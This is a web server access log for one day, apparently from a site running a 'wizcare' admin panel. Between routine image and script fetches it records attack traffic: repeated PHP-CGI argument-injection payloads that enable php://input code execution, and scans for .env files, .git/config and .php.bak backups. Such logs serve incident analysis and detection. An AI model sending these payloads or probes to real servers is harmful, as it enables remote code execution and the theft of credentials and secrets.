[01/Dec/2024:10:00:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/samples/old/assets/inlineall/logo.png HTTP/1.1" 4283
[01/Dec/2024:10:02:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:10:02:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:10:14:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:10:15:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/loading.gif HTTP/1.1" 1737
[01/Dec/2024:10:25:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:10:25:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:10:33:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:10:39:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:10:45:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/tabs_icons.png HTTP/1.1" 150
[01/Dec/2024:10:51:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:10:54:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:10:57:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:11:14:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/time.php.bak HTTP/1.1" -
[01/Dec/2024:11:14:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:11:16:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:11:16:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:11:20:25 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:11:20:27 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:11:20:28 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:11:23:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:11:30:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/2f3.png HTTP/1.1" 108761
[01/Dec/2024:11:34:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:11:40:39 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:11:45:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/panel_tools.png HTTP/1.1" 194
[01/Dec/2024:11:50:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:11:54:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:12:14:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:12:34:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:12:41:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:12:45:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/validatebox_warning.png HTTP/1.1" 921
[01/Dec/2024:12:51:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:12:54:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:12:54:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:13:02:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:13:14:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:13:14:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:13:20:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/preview/images/pagebreak.gif HTTP/1.1" 99
[01/Dec/2024:13:26:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/datebox_arrow.png HTTP/1.1" 626
[01/Dec/2024:13:29:32 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:13:29:33 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:13:32:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/layout_arrows.png HTTP/1.1" 319
[01/Dec/2024:13:32:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/1f1.jpg HTTP/1.1" 35166
[01/Dec/2024:13:34:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:13:38:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/slider_handle.png HTTP/1.1" 863
[01/Dec/2024:13:39:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 319
[01/Dec/2024:13:45:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/tree_icons.png HTTP/1.1" 3115
[01/Dec/2024:13:50:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:13:54:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:14:14:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:14:16:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/linkbutton_bg.png HTTP/1.1" 1274
[01/Dec/2024:14:22:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/default/images/blank.gif HTTP/1.1" 43
[01/Dec/2024:14:28:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/spinner_arrows.png HTTP/1.1" 115
[01/Dec/2024:14:30:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/samples/toolbarconfigurator/font/fontello.svg HTTP/1.1" 1701
[01/Dec/2024:14:33:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:14:34:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/iframe/images/placeholder.png HTTP/1.1" 265
[01/Dec/2024:14:40:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo/filebox/buttonalign.html.locked HTTP/1.1" -
[01/Dec/2024:14:40:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:14:44:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:14:45:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/linkbutton_bg.png HTTP/1.1" 1274
[01/Dec/2024:14:48:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/configure-wildcard-subdomains.html HTTP/1.1" 305
[01/Dec/2024:14:51:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:14:54:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:14:57:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/combo_arrow.png HTTP/1.1" 117
[01/Dec/2024:14:58:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /owa/auth/logon.aspx HTTP/1.1" 300
[01/Dec/2024:15:07:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:15:09:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/pagination_icons.png HTTP/1.1" 628
[01/Dec/2024:15:13:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/t.php.bak HTTP/1.1" -
[01/Dec/2024:15:14:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:15:20:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/datagrid_icons.png HTTP/1.1" 307
[01/Dec/2024:15:22:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/calendar_arrows.png HTTP/1.1" 173
[01/Dec/2024:15:24:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/copyformatting/cursors/cursor.svg HTTP/1.1" 2759
[01/Dec/2024:15:28:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/messager_icons.png HTTP/1.1" 6116
[01/Dec/2024:15:32:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/blank.gif HTTP/1.1" 43
[01/Dec/2024:15:33:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /jdDJ HTTP/1.1" 300
[01/Dec/2024:15:33:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /a2Pz HTTP/1.1" 300
[01/Dec/2024:15:33:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /aab8 HTTP/1.1" 300
[01/Dec/2024:15:33:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /jquery-3.3.1.slim.min.js HTTP/1.1" 300
[01/Dec/2024:15:33:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /aab9 HTTP/1.1" 300
[01/Dec/2024:15:33:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /jquery-3.3.2.slim.min.js HTTP/1.1" 300
[01/Dec/2024:15:34:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:15:34:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo-mobile/images/more.png HTTP/1.1" 110
[01/Dec/2024:15:37:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/about/dialogs/logo_ckeditor.png HTTP/1.1" 6757
[01/Dec/2024:15:42:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/validatebox_warning.png HTTP/1.1" 921
[01/Dec/2024:15:46:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/loading.gif HTTP/1.1" 1737
[01/Dec/2024:15:50:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:15:54:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:16:14:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:16:33:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:16:41:09 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:16:48:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:16:51:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:16:54:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:16:59:46 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:17:12:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:17:14:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:17:34:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:17:54:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:18:06:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/lock-open.png HTTP/1.1" 511
[01/Dec/2024:18:14:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:18:33:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:18:42:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/fonts/glyphicons-halflings-regular.svg HTTP/1.1" 108738
[01/Dec/2024:18:50:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:18:51:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:18:54:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:19:00:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo-mobile/datagrid/basic.html.locked HTTP/1.1" -
[01/Dec/2024:19:00:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:19:01:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:19:01:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:19:01:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:19:01:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:19:14:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:19:18:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:19:18:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/icons.png HTTP/1.1" 12237
[01/Dec/2024:19:34:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:19:34:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:19:34:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:19:34:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[01/Dec/2024:19:34:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:19:48:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[01/Dec/2024:19:48:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:19:48:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/.git/config HTTP/1.1" 300
[01/Dec/2024:19:48:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.dist HTTP/1.1" 300
[01/Dec/2024:19:48:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /prod/.env HTTP/1.1" 300
[01/Dec/2024:19:48:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.template HTTP/1.1" 300
[01/Dec/2024:19:48:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /data/.git/config HTTP/1.1" 300
[01/Dec/2024:19:48:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[01/Dec/2024:19:48:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /project/.git/config HTTP/1.1" 300
[01/Dec/2024:19:48:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /src/.git/config HTTP/1.1" 300
[01/Dec/2024:19:48:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.json HTTP/1.1" 300
[01/Dec/2024:19:48:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.local HTTP/1.1" 300
[01/Dec/2024:19:48:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.preprod HTTP/1.1" 300
[01/Dec/2024:19:48:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.production HTTP/1.1" 300
[01/Dec/2024:19:48:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /static../.git/config HTTP/1.1" 300
[01/Dec/2024:19:48:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.aws HTTP/1.1" 300
[01/Dec/2024:19:51:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:19:54:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-4.jpg HTTP/1.1" 17733
[01/Dec/2024:19:55:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:20:14:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:20:25:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "HEAD /epa/scripts/win/nsepa_setup.exe HTTP/1.1" -
[01/Dec/2024:20:34:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:20:51:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:20:53:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:20:54:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/bed.png HTTP/1.1" 8998
